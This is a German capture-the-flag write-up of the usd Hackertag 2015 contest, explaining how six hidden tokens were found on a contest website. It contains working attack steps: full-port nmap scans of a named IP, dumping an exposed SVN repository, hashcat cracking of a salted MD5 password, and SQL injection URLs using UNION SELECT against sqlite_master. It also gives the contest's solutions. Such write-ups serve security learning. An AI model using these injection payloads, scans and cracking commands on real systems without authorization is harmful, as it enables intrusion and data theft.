usd Hackertag 2015 – Writeup

Writeup by Johanna@Brutewoorse

Im Frühjahr fand wieder ein Hackercontest der usd AG statt.
Einige Teammitglieder von uns konnten sich auch  dieses Jahr wieder für ein Weiterbildungsseminar am 21. April qualifizieren, indem sie alle Aufgaben lösen konnten.
Ziel war es 6 versteckte numerische Werte auf der Webseite zu finden.

Token 1

Unter dem Menüpunkt Downloads lässt sich das PDF usd_Hackertag_2015.pdf herunterladen.
Durchsucht man die Datei nach Strings und filtert nach “Token”, so erhält man

 

$ strings usd_Hackertag_2015.pdf | grep Token
Token: 338912
/Subject (Token: 338912)

 

Der Token ist 338912.

Token 2

Untersucht man die Quelldateien der Startseite beispielsweise mit FireBug, so stößt man auf die Datei query.js.

eval(String.fromCharCode(105, 102, 32, 40, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 111, 115, 116, 110, 97, 109, 101, 32, 61, 61, 32, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 41, 32, 123, 10, 118, 97, 114, 32, 95, 48, 120, 98, 55, 57, 97, 61, 91, 34, 92, 120, 53, 55, 92, 120, 54, 57, 92, 120, 54, 67, 92, 120, 54, 67, 92, 120, 54, 66, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 50, 48, 92, 120, 55, 65, 92, 120, 55, 53, 92, 120, 55, 50, 92, 120, 70, 67, 92, 120, 54, 51, 92, 120, 54, 66, 92, 120, 50, 48, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 52, 92, 120, 54, 52, 92, 120, 55, 57, 92, 120, 50, 69, 92, 120, 50, 48, 92, 120, 52, 52, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 50, 48, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 54, 56, 92, 120, 54, 53, 92, 120, 54, 57, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 50, 48, 92, 120, 53, 52, 92, 120, 54, 70, 92, 120, 54, 66, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 50, 48, 92, 120, 54, 67, 92, 120, 54, 49, 92, 120, 55, 53, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 51, 65, 92, 120, 50, 48, 92, 120, 51, 52, 92, 120, 51, 49, 92, 120, 51, 55, 92, 120, 51, 56, 92, 120, 51, 53, 92, 120, 51, 53, 34, 93, 59, 97, 108, 101, 114, 116, 40, 95, 48, 120, 98, 55, 57,97, 91, 48, 93, 41, 59, 10, 125));

Die Dezimalzahlen lassen sich mit einem ASCII-Converter in ASCII-Zeichen umwandeln. Damit erhält man:

if (window.location.hostname == "127.0.0.1") {
var _0xb79a=["\x57\x69\x6C\x6C\x6B\x6F\x6D\x6D\x65\x6E\x20\x7A\x75\x72\xFC\x63\x6B\x20\x66\x72\x65\x64\x64\x79\x2E\x20\x44\x65\x72\x20\x67\x65\x68\x65\x69\x6D\x65\x20\x54\x6F\x6B\x65\x6E\x20\x6C\x61\x75\x74\x65\x74\x3A\x20\x34\x31\x37\x38\x35\x35"];
alert(_0xb79a[0]);
}

Die Liste der Hexadezimalzahlen ergibt einen Base64-Code:

V2lsbGtvbW1lbiB6dXL8Y2sgZnJlZGR5LiBEZXIgZ2VoZWltZSBUb2tlbiBsYXV0ZXQ6IDQxNzg1NQ==

Wenn man diesen mit Base64 dekodiert ergibt sich der Text

Willkommen zurück freddy. Der geheime Token lautet: 417855

Der Token ist 417855.

Token 3

Der Kommentar im HTML-Code der Startseite deutet darauf hin, dass ein SVN-Repository auf dem Server vorhanden ist.

Mit dem SVN-Extractor von https://github.com/anantshri/svn-extractor lassen sich die Dateien des Repositories herunterladen:

python svnex.py --url http://82.195.79.41/

In der heruntergeladenen Datei download.php findet sich der Kommentar

// Todo: Challenge fuer Token 102342 bauen.

Der Token ist 102342.

Token 4

Versucht man sich im Backend anzumelden, bekommt man einen Hinweis darauf, dass man die anderen Ports betrachten sollte.
Im Ergebnis des Portscans

$ nmap -v -A 82.195.79.41

sieht man, dass eine Datei

http://82.195.79.41//no/one/will/ever/know/secret.txt

exitstiert. Ihr Inhalt ist

Token: 928191

Der Token ist 928191.

Token 5

Bei einem erneuten Portscan mit

$ nmap -p1-65535 -T5 -sS 82.195.79.41

findet man Port 4141. Beim Aufruf von

http://82.195.79.41:4141/

gelangt man zu der Nachricht

*********************************************************
Der folgende Hashwert (MD5) wurde mit dem Salt “Hackertag” erzeugt.
Der Aufruf war dabei wie folgt: echo -n “Hackertag{Passwort}” | md5sum

d79a2543ddbb8042a6d14851fb098e0d
*********************************************************

Der Hash lässt sich mit hashcat cracken:

$ cat hash.txt
 d79a2543ddbb8042a6d14851fb098e0d:Hackertag
 $ hashcat -m 20 -a 3 hash.txt ?a?a?a?a?a?a
 d79a2543ddbb8042a6d14851fb098e0d:Hackertag:blue

Das Passwort für das Backend ist also “blue“. Auf den Benutzernamen “freddy” sind wir bei den vorherigen Tokens gestoßen.
Im Backend findet man das Bild tour.jpg. Das Attribut alt=”compression is everything” gibt einen Hinweis für die Suche nach dem Token. Bei

strings tour.jpg

fällt der Base64-Code

VG9rZW46IDU1MTI0Mw==

ins Auge. Dekodiert man diesen, erhält man

Token: 551243

Der Token ist 551243.

Token 6

Unter dem Menüpunkt To-do bekommt man eine kurze Liste angezeigt. Klickt man auf eines der Listenelemente gelangt man zur URL

http://82.195.79.41/liste.php?id=1

Über den Parameter id wird aus einer Datenbank der entsprechende Eintrag ausgelesen. Einer der Dateien aus dem SVN-Repository gibt uns den Hinweis, dass es sich um eine SQLite-Datenbank handelt.
Mit dem UNION-Operator lassen sich SELECT-Befehle verketten. So können wir an den SELECT-Befehl, der den To-do-Listeneintrag mit einer bestimmten id auswählt, weitere SELECT-Befehle anhängen. Mit

http://82.195.79.41/liste.php?id=1%27%20UNION%20SELECT%20name,name%20FROM%20sqlite_master%20WHERE%20type=%27table%27;

schauen wir uns zunächst eine Liste der vorhandenen Tabellen der Datenbank an. Diese enthält die Tabellennamen “public” und “token”.

http://82.195.79.41/liste.php?id=1%27%20union%20SELECT%20sql,%20sql%20FROM%20sqlite_master%20WHERE%20type%20=%20%27table%27%20AND%20name%20=%20%27token%27;

zeigt uns die Struktur der Tabelle token. Sie enthält die Spalte “token_val”. Die Tabelleneinträge erhalten wir dann mit

http://82.195.79.41/liste.php?id=1%27%20union%20SELECT%20token_val,%20token_val%20FROM%20token;

Der Token ist 336809.